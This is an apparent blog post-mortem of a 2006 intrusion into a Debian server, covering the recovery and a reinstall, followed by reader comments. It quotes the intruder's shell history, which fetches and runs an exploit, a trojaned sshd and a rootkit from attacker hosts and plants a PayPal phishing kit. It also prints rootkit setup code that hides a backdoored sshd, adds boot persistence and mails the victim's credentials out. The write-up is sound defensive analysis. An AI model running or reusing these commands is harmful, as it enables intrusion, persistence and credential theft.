Log in

No account? Create an account
Intrusion recovery aka vincent.jb.org pwn3d (finished, was started on 08/07) - Alex Belits
Intrusion recovery aka vincent.jb.org pwn3d (finished, was started on 08/07)
On August 4 I have got a call from j_b -- he had remotely rebooted vincent.jb.org box, and sshd failed to start. The box runs Debian Sarge, and is located at my lab, connected to my network to use my otherwise underutilized bandwidth, so I was the only person who could look at the console and restart sshd. The fact that sshd failed to start was not by itself suspicious because that box occasionally went through upgrades and reconfigurations, and it wasn't too much of a stretch that sshd startup script ended up in a broken state at the moment when the box was rebooted.

I have connected a local console (PS/2 keyboard and a monitor -- no serial console on that box), logged in, and sshd indeed wasn't running. After switching to root user (sudo sh), I ran sshd startup script, and sshd didn't run. Ran sshd executable, and it seemingly started, though produced some garbage-looking output. I ran telnet localhost 22 to check, if sshd is working, and was greeted with ssh.com version string. And not OpenSSH version string that was there before. ps had shown that sshd is running, along with some suspicious-looking garbage. That looked suspicious, so I have killed the process and ran debsums to see if ssh binary matched the openssh package. Obviously it didn't match while the rest of the files did. I have renamed the executable, reinstalled ssh package and started is using its startup script -- this time it worked.

At that moment Jon logged in using now-working ssh, and according to logs, installed ytalk, so he could talk to me, still logged in at the console. I have responded to his talk request (a thing that I haven't seen in years on my screen -- this is what was instant messaging before instant messaging), and asked what is going on with ssh version. It was as much news to him as to me, so at this point it was clear that the box is compromised.

To see how bad it is, I have installed chkrootkit and ran it -- immediately got warnings for all login/ps/... executables. Jon did the same at the same time, and announced the result over ytalk -- not only the box was compromised, but also the attacker, whoever he was, installed a rootkit. Not that it would matter, compromised boxes should be wiped and reinstalled no matter what, but seeing chkrootkit telling you that login (where you have entered a password few miutes ago) is infected, reminds you just how bad it is. I have looked at the kernel version, and found that it's from Debian Sid (Unstable) and not Sarge (Stable), and not the latest Unstable version, either, so recently found prctl bug could be a used to escalate privileges from a normal user. We decided to shut down the box and prepare it for a reinstall.

I have booted Ubuntu live CD on it, and started a backup, copying users' home directories to a tar file on another server. It took pretty long, so I went home and got some sleep. When I have returned, users' directories with all hosted stuff were copied -- I have decided to separately copy the rest of the system and simultaneously analyze how exactly the box was broken into. Jon was supposed to arrive later, but he just finished an all-nighter, and was in no condition to drive to the lab. So to have any hope to get the box (hosting a bunch of sites) up in a reasonable time, I would have to do the recovery, too.

Users home directories didn't show any signs of being messed with, however one user's .bash_history contained the following:
cd /tmp
wget psikoma.host.sk/suid
chmod +x suid
vi suid
cp suid /dev/shm
rm -rf suid
ls 0a
ls -a
cd /dev/shm
ls -a
ls -a
vi suid

and some similar sequences, supposedly other attempts to run the same script.

I have downloaded http://psikoma.host.sk/suid, and found that it's a prctl exploit script.

Another "interesting" set of recorded lines was:
wget psikoma.host.sk/ssh.tgz
tar zxvf ssh.tgz
cd ssh-3.0.1/apps/ssh
vi genx.h
cd ..
cd ..
./configure --without-x
make install
rm -rf /usr/sbin/ssh*
cp /usr/local/sbin/sshd /usr/sbin/
cp /usr/local/sbin/sshd /usr/sbin/sshd1
/etc/rc.d/init.d/sshd restart

An intruder apparently installed a trojaned sshd, then tried to start it with an existing startup script. What didn't work because he wasn't even running it from the right directory (actual script is /etc/init.d/ssh ). And it wouldn't work if he ran the right script because it's a wrong ssh version anyway.
locate sshd
/usr/sbin/sshd status
/var/run/sshd status
cd /var/run/sshd
ls -a
cd /etc/ssh/
ls -a

Now we see why little knowledge is a dangerous thing. Intruder looked for a startup script, and found his own executable, and a directory. Then tried to run both as if they are startup scripts. Obviously it was fruitless -- he had to run his executable without arguments to start it as a server.
wget psikoma.host.sk/zoot.tgz
tar xvf zoot.tgz
cd midas
ls -a
./setup moonspell 2360
cd /dev/shm
ls -a
getsuid getsuid.c s.c s ssh-3.0.1ssh-3.0.1 ssh.tgz suid zoot.tgz
ls -a
rm -rf getsuid getsuid.c s s.c ssh-3.0.1 ssh.tgz suid zoot.tgz
ls -a
cd /tmp
ls -a
rm -rf getsuid* s*
ls -a
ls -a

Now we see a how a true skr1pt kiddie works. That is, by downloading rootkits and blindly running scripts from them, and assigning passwords such as "moonspell".

A little more about that script later, now back to the logs.

root's .bash_history contained an explanation, what was it all for:
cd /var/www
ls -a
cd webalizer/
ls -a
rm -rf cgi-bin/
wget psikoma.org/cgi-bin.zip
unzip cgi-bin.zip
rm -rf *.zip
ls -a
chmod +x cgi-bin/
cd cgi-bin/
chmod +x webscr/
cd webscr/
ls -a
chmod +x *
ls a-
ls -a
cd img/
ls -a
chmod +x *
ls -a
cd ..
ls -a
ls -la
grep -c . bins.txt
ls -a
cd ..
cd ..
cd ..
chmod +x webalizer/
cd webalizer/
chmod 777 *
chmod 777 cgi-bin/
cd cgi-bin/
chmod 777 webscr/
cd webscr/
chmod 777 *
ls -a
cd img
chmod 777 *
chmod 777 *.gif *.jpg
cd /var/www/webalizer
ls -a
rm -rf cgi-bin
wget psikoma.org/paypal.tgz
tar zxvf paypal.tgz
cd /var/www/webalizer
ls -a
cd cgi-bin/
cd webscr/
ls -a
vi mail.php
chmod +x mail.php

Paypal password and credit card fishing. This is how it looked like (thumbnails link to large images):

PHP scripts collected everything entered into those forms, and emailed it to priv8.1337@yahoo.com from a nonexistent address "smekeru <smekeru@contpaypal.com>".

Exim log, among others records, contained those:
2006-08-02 09:50:35 1G8IzT-0007Hi-00 <= root@vincent.jb.org U=root P=local S=345
2006-08-02 09:50:58 1G8IzT-0007Hi-00 => exploitko@yahoo.com R=lookuphost T=remote_smtp H=mx3.mail.yahoo.com []
2006-08-02 09:50:58 1G8IzT-0007Hi-00 Completed
2006-08-02 17:04:48 1G8Plg-0002h8-00 <= root@vincent.jb.org U=root P=local S=302
2006-08-02 17:05:34 1G8Plg-0002h8-00 => priv8.1337@yahoo.com R=lookuphost T=remote_smtp H=mx1.mail.yahoo.com []
2006-08-02 17:05:34 1G8Plg-0002h8-00 Completed
2006-08-02 17:06:11 1G8Pn1-0002hQ-00 <= root@vincent.jb.org U=root P=local S=302
2006-08-02 17:06:38 1G8PnS-0002hT-00 <= root@vincent.jb.org U=root P=local S=302
2006-08-02 17:06:40 1G8PnS-0002hT-00 => priv8.1337@yahoo.com R=lookuphost T=remote_smtp H=mx2.mail.yahoo.com []
2006-08-02 17:06:40 1G8PnS-0002hT-00 Completed
2006-08-02 17:07:45 1G8Pn1-0002hQ-00 => priv8.1337@yahoo.com R=lookuphost T=remote_smtp H=mx1.mail.yahoo.com []
2006-08-02 17:07:45 1G8Pn1-0002hQ-00 Completed
2006-08-02 17:10:50 1G8PrW-0002ig-00 <= www-data@vincent.jb.org U=www-data P=local S=427
2006-08-02 17:10:51 1G8PrW-0002ig-00 => priv8.1337@yahoo.com R=lookuphost T=remote_smtp H=mx3.mail.yahoo.com []
2006-08-02 17:10:51 1G8PrW-0002ig-00 Completed

[more of the same]

2006-08-04 10:35:31 1G92e3-0005Xi-00 <= www-data@vincent.jb.org U=www-data P=local S=457
2006-08-04 10:35:53 1G92e3-0005Xi-00 => priv8.1337@yahoo.com R=lookuphost T=remote_smtp H=mx2.mail.yahoo.com []
2006-08-04 10:35:53 1G92e3-0005Xi-00 Completed

Total 65 emails sent to priv8.1337@yahoo.com between 2006-08-02 17:04:48 and 2006-08-04 10:35:53 (149465 seconds).

That was 1 day, 17 hours, 31 minute, 5 seconds, or on average one email per 38 minutes. Or one email every 40 minutes if I assume that first four messages sent from root account instead of www-data were tests.

At that point I didn't notice exploitko@yahoo.com email because I didn't know what is in the rootkit, and there were many more entries in the log.

When everything was backed up, I have started working on reinstalling the system. Originally the box was running Sarge, so it made sense to reinstall the same -- after all, Sarge is well-supported, far from being outdated for servers. I could install Etch (Testing version of Debian), but the idea of getting the system that is not yet being tracked for security updates didn't sound too good after having a box compromised because its kernel wasn't updated, so Sarge it was. Also I knew that I will have to resurrect a MySQL database, and that would be much less painful if I won't have to worry about possible differences between MySQL versions.

vincent has two IDE hard drives -- one on the old, slow onboard controller, another on a new controller, on a PCI card. BIOS likes to get confused about which drive is the first, and the kernel on the Sarge installer CD only knows about the first controller. So to be able to partition both drives in Sarge installer menu I had to move both drives to the old controller. Drives are of different sizes, 100G and 250G, yet they are supposed to be converted into RAID1, what means that I had to make pairs of identical RAID partitions on both drives, and format the remaining 150G of the second drive as a non-RAID partition. Also to avoid manifestations of BIOS braindeadness, I have made two identical /boot partitions at the very beginning of both disks with ext2 filesystem and no RAID. Sarge installed without any problems, but it took a lot of time, so I could look into exploits and rootkits further.

http://psikoma.host.sk/zoot.tgz is a rootkit. Its setup script proclaims that it's derived from "tk", what seems to be Torn kit ( see packetstormsecurity.org list of rootkits ), and indeed it contains some similar (but not the same) binaries, and the setup script itself is derived from the Torn kit:
# MIDASKIT 1.0 release 2002
# inspired from tk but fixed a lot of shits
# and added new ones to suite our needs.
# patched ./pg coz it was buggy on tkv8
# urgent release due to x2 SSHD vulnerability
# SSHD patched in this version so dont try
# ./x2 -t 1 victim port any more ;)
# hax0r w1th th1s as much as u want
# ./setup pass port
# SSHD backdoor: ssh -l root -p port hostname
# when prompted for password enter your rootkit password
# login backdoor: DISPLAY=pass ; export DISPLAY ; telnet victim
# type anything at login, and type arf for pass and b00m r00t
# We are not responsible for any misusor damage this tool may cause
# Greetings sa lahat ng wannabes dyan tulad ko. Itayo natin ang bandila ng mga wannabe

# Defines


# You dont need to edit anything below this

# lets unzip our shit now
tar xfz bin.tgz
tar xfz conf.tgz
tar xfz lib.tgz
rm -rf bin.tgz conf.tgz lib.tgz
tar xfz bin/ssh.tgz 
tar xfz bin/ssh-only.tgz
rm -rf ssh*.tgz
sleep 2 
cd $basedir

if [ "$(whoami)" != "root" ]; then
echo ""


killall -9 syslogd

[the rest of the script]

Yes, those are actual ESC characters in the script. Too bad, one error message uses variables defined there before they are defined. The version in the Torn kit doesn't have that problem, however one of the ESC characters in it is actually "^[" string -- looks the same in text editors.

Setup script seems to go to some great lengths to place things in unobvious places, assuming that someone who would try to clean up the system, would miss them. Here is its sshd installation ($basedir/bin/ssh.tgz contains .sh directory with various files including sshd):
mkdir /lib/security 2>/dev/null
mkdir /lib/security/.config 2>/dev/null
mkdir /lib/security/.config/ssh 2>/dev/null


cd $basedir/bin
tar xfz $basedir/bin/ssh.tgz


cd $basedir/bin
mv .sh/* /lib/security/.config/ssh/
chattr -AacdisSu /usr/sbin/xntps 2>/dev/null
cp /lib/security/.config/ssh/sshd /usr/sbin/xntps
mv /lib/security/.config/ssh/sshd /lib/security/.config/
chmod 755 /usr/sbin/xntps
/usr/sbin/xntps -q
chattr +isa /usr/sbin/xntps
echo "# Xntps (NTPv3 daemon) startup.." >> /etc/rc.d/rc.sysinit
echo "/usr/sbin/xntps -q" >> /etc/rc.d/rc.sysinit
chattr +is /etc/rc.d/rc.sysinit

Isn't it lovely? Trojaned sshd masquerades itself as xntps. And is started up by some additional lines in /etc/rc.d/rc.sysinit file. Too bad, Debian doesn't run it -- this is why sshd didn't start on reboot.

Everything else looked more or less the same way -- convoluted manipulations with replacing files and libraries. Except for this (immediately following "xntps" segment):
# Say hello to md5sum fixer boys n gurls !

/usr/bin/md5sum /sbin/ifconfig >> .shmd5
/usr/bin/md5sum /bin/ps >> .shmd5
/usr/bin/md5sum /bin/ls >> .shmd5
/usr/bin/md5sum /bin/netstat >> .shmd5
/usr/bin/md5sum /usr/bin/find >> .shmd5
/usr/bin/md5sum /usr/bin/top >> .shmd5
/usr/bin/md5sum /usr/sbin/lsof >> .shmd5
/usr/bin/md5sum /usr/bin/slocate >> .shmd5
/usr/bin/md5sum /usr/bin/dir >> .shmd5
/usr/bin/md5sum /usr/bin/md5sum >> .shmd5
/usr/bin/md5sum /bin/login >> .shmd5

./encrypt -e .shmd5 /dev/srd0
rm -rf .shmd5

Did anyone miss a blatantly evil-looking line? Apparently the author of this rootkit thinks, this is a good way to hide his email address. Later in the script there is an obvious backdoor-the-backdoor sequence:
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | \
awk -F ' ' ' {print $2} ' | cut -c6-`


echo "$1:$2:`hostname -f`:$MYIPADDR:$dport" | mail $md5sum

$1 is password, $2 is port, $dport is the default port value. I guess, this is for the case that someone changed it in the script, and didn't specify the port on the command line, however in that case why wouldn't he also change the password that way?

Now, the entry that I have overlooked before in the exim log:
2006-08-02 09:50:35 1G8IzT-0007Hi-00 <= root@vincent.jb.org U=root P=local S=345
2006-08-02 09:50:58 1G8IzT-0007Hi-00 => exploitko@yahoo.com R=lookuphost T=remote_smtp H=mx3.mail.yahoo.com []
2006-08-02 09:50:58 1G8IzT-0007Hi-00 Completed

Apparently the address exploitko@yahoo.com is still valid, and still collects copies of all hostnames/addresses/ports/passwords configured by skr1pt kiddies using that script. I am sure, Yahoo admins will find the contents of that mailbox very interesting.

wtmp contained a record of someone logged into a compromised account on 08/02/2006 at 09:22 from (somewhere in Romania), for 29 minutes, so the script finished right before the user logged out on 09:51, leaving a trojaned sshd running. /usr/sbin/sshd* binaries were modified on 08/02/2006 15:27, what means that original messing with ssh was fruitless, and preceded installation of rootkit.

Back to reinstalling the box. At that point I have a Sarge setup that is close to the original, but clean, and with official kernel. And as opposed to the installer's kernel, it recognizes both IDE controllers, one with two drives, one empty. I have shut down the box, and moved the hard drive to see if it boots. And forgot to duplicate both /boot and BRUB bootloader in the MBR. So I had to move the drives back, copy everything, move larger drive to the second controller -- now it worked, though in the process RAID1 got broken and needed resyncing. I have updated the config and re-added "stale" drives -- they resynced without any problems. Did I mention that a cable was too short to hold both drives when they were mounted on their brackets? I had to take the smaller drive out (rather difficult to reach some of the screws in that case) and place it on a stable insulating surface (Mouser catalog lying on the floor).

The system is ok, time to restore everything that is safe to restore. First I have installed pine, the only package that did not come from Debian. Then merged /etc/passwd and /etc/group files -- some users have conflicting user IDs with system utilities' userids that were added later, so I had to re-synchronize the names and userids. /etc/shadow doesn't have those users, and passwords in /etc/passwd are all disabled, so those manipulations are safe. Restored users' home directories, updated userids to match. Then I went looking for potential backdoors -- installed mc, and looked through all dot files in users' directories, and all .ssh directories. Nothing suspicious (except for the same history files with intruder's records). I have renamed .ssh/auhorized_keys files, so if they were modified, they wouldn't let the intruder in, however I have kept local keys, so users will be able to check if those potentially stolen keys can be used to access something else. Overall nothing unusual, dot files are normal, no weird permissions.

The next step is MySQL. Since I know that all MySQL permission mechanism is handled by "mysql" database, I can just install the same version, replace the data directory with backup, then manually change passwords and permissions. One important thing, in particular on Debian, is system maintenance password -- it's assigned when MySQL is installed, and is something random, stored in a configuration file that regular users can't read. When I have restored the database I have restored that password, too, and it's now the same as the value on the compromised box. I have looked into the "new" database and manually updated that password's hash, so now restored database had maintenance password from a freshly-installed MySQL package. I have found that users' access permissions are too lax, and changed that -- at the same time adding the password to wordpress configuration that previously accessed that database with no password at all. Then I had to change permissions on wordpress configuration, so user and Apache can read it, and everyone else can't. Not really secure considering that other users can read it through their php scripts, so it will be a good idea to make everything suexec later.

I have looked at Apache configuration, and decided that first I have to copy everything that is safe to copy. By defaulr Sarge installs apache 2.x, while original configuration was for apache 1.3.x, so I have downgraded Apache and installed php4 for it with MySQL support, then copied configuration files after checking them for possible signs of backdoors. Fortunately configuration, or at least what remained from it, was simple.

I have restored network configuration and installed Bind 9, copied (blindly) all primary zone files, and went through configs. Everything seemed to be fine. The rest of tweaking should be up to Jon because it was his configuration in the first place -- I have checked wordpress and various hosted sites, and they worked.

I have added still-locked /etc/shadow entries for everyone, shut everything down, placed hard drive back into its place, put the cover on (vincent was running without a cover since the last unfinished attempt to install RAID on it) and placed it in the rack. I was exhausted, so I went home and got some sleep.

In the morning (of August 6) I have looked at now-running vincent again, and found one last thing that I have forgot to update -- it was the kernel. Though it was a different branch, and it didn't have prctl exploit, it was still outdated had some security updates issued, and it was 386 instead of 686 architecture that PII boxes are suppised to use. From home I have remotely installed a new Debian kernel package, and rebooted the box. Logged in again -- still old kernel. Copied everything to the second /boot, rebooted -- shiny new kernel. Vincent is ready for the users.

Tags: , ,

3 comments or Leave a comment
raider3 From: raider3 Date: August 8th, 2006 09:00 am (UTC) (Link)
Ah... If nothing else, I see that font smoothing is supported under Linux. Oddly enough, I don't use it on anything except for my XP SP2 laptop, which runs ClearType, factory-configured. Tried it on my desktop, didn't really care for it, didn't notice too much of a performance hit, changed it back in any case.

Prior to this, after an all-night discussion during AOD in San Francisco, I was considering getting back into learning Linux once again - This time, I'll budget for something with a mid-range P4 (somewhere equivalent to the 2.4 GHz speed supported by both machines here, but with around 200 GB of storage space minimum, and whatever recent software Linux and related stuff supports. As I remarked to the fellow I was speaking with, I'm not afraid of using command prompts when needed (As I've had to use the command prompt on XP at times, even having a permanent shortcut to toss out the occasional "ipconfig /renew" (Usually as a precursor to rebooting DSL modem) on occassion.), however, I grew up with GUI-based interfaces since 1990, between pre 3.xx Windows and AmigaOS, so it looks like I'm leaning toward KDE once again, or Gnome for any future Linux projects (Most likely as a media server initially, then housing replacements for my Windows toys as I find them. Maybe I'll get another low-price Dell and just replace XP/Vista with Linux. I'm sure there's howtos out there to do that sort of thing, but I'd love the opportunity to build another box from components once again.)

Anyway, back to the post-mortem analysis of the compromise of vincent. What you've described is indeed chilling to read about (and hopefully doesn't give the scumbag "skr1pt kiddie" all the info on what he did wrong time time around.), primarily in regards to the end result of setting up the PayPal phising pages. (I usually tend to get tons of fake PayPal "security compromise/suspension/cancellation/verification" emails... on my non-primary "spam trap" email accounts, always junking them, but noting the tenacity of the dumbfscks in their social engineering endeavors.) Fortunately I usually don't get such spam in my primary email account, as they either get clobbered by the spam filtering on AT&T's end, or my end. (I don't know why I didn't start using popfile sooner than I did about two years ago, but I'm glad I do use it. Thank you McAfee, for helping me make that decision by releasing such a horribly broken version of SpamKiller that caused me to reinstall it three separate times within one month before giving up on it altogether. ^_^;) In any case, in my day job, I usually see the end results of what happens when scumbags from outside the US obtain stolen credit card numbers (And I'm powerless to do anything about it, else I risk losing my job. ;_;), and I'm hating myself more and more every day for seeing it.

Keep fighting the good fight, and I'll stay tuned for more on this. Thanks for remaining vigilant. (And I'd better run a check for rootkits on my XP desktop. Just because I have reduntant hardware and software firewalls doesn't mean I trust them blindly because I'm still using XP. ^_^;) I'm glad I'm not one of the sheep out there.
From: jigenm4c Date: August 9th, 2006 09:20 pm (UTC) (Link)

4 machines.

4 Machines.
4 Goddamn Machines exploited by this same idiot user.

And I know it was him because he hijacked my account. We repaired the damage, but it cost me about the same amount of time. Happily, though, we updated our Linux boxes with solaris wherever possible, and we patched the SSH holes.

But what a pain in the ass.
abelits From: abelits Date: August 9th, 2006 10:23 pm (UTC) (Link)

Re: 4 machines.

It's more a matter of overall system security than Linux vs. Solaris.

I didn't see any SSH holes (as in, vulnerabilities in the packaged version of sshd) on vincent. There was an ssh backdoor -- sshd was replaced by a trojaned version renamed to /usr/sbin/xntps, and another copy of sshd was ssh.com version, also trojaned but inactive.

ssh itself, along with other utilities and libraries, was replaced with trojaned versions as well, so system reinstallation was the only way to deal with this.

This rootkit is not the same as widely known versions of Torn kit (even though it contains similar files), so whatever procedure may be used to get rid of Torn kit, won't be sufficient for this, and you can never be sure what else is altered on a compromised box anyway. Take into account that two separate people got access to the boxes -- the intruder and the author of the rootkit.

Since there is no authorized_keys file for your account, I can guess that the intruder reached vincent using your password logged from a trojaned ssh or some other utility on one of your boxes.

(edited for clarity)
3 comments or Leave a comment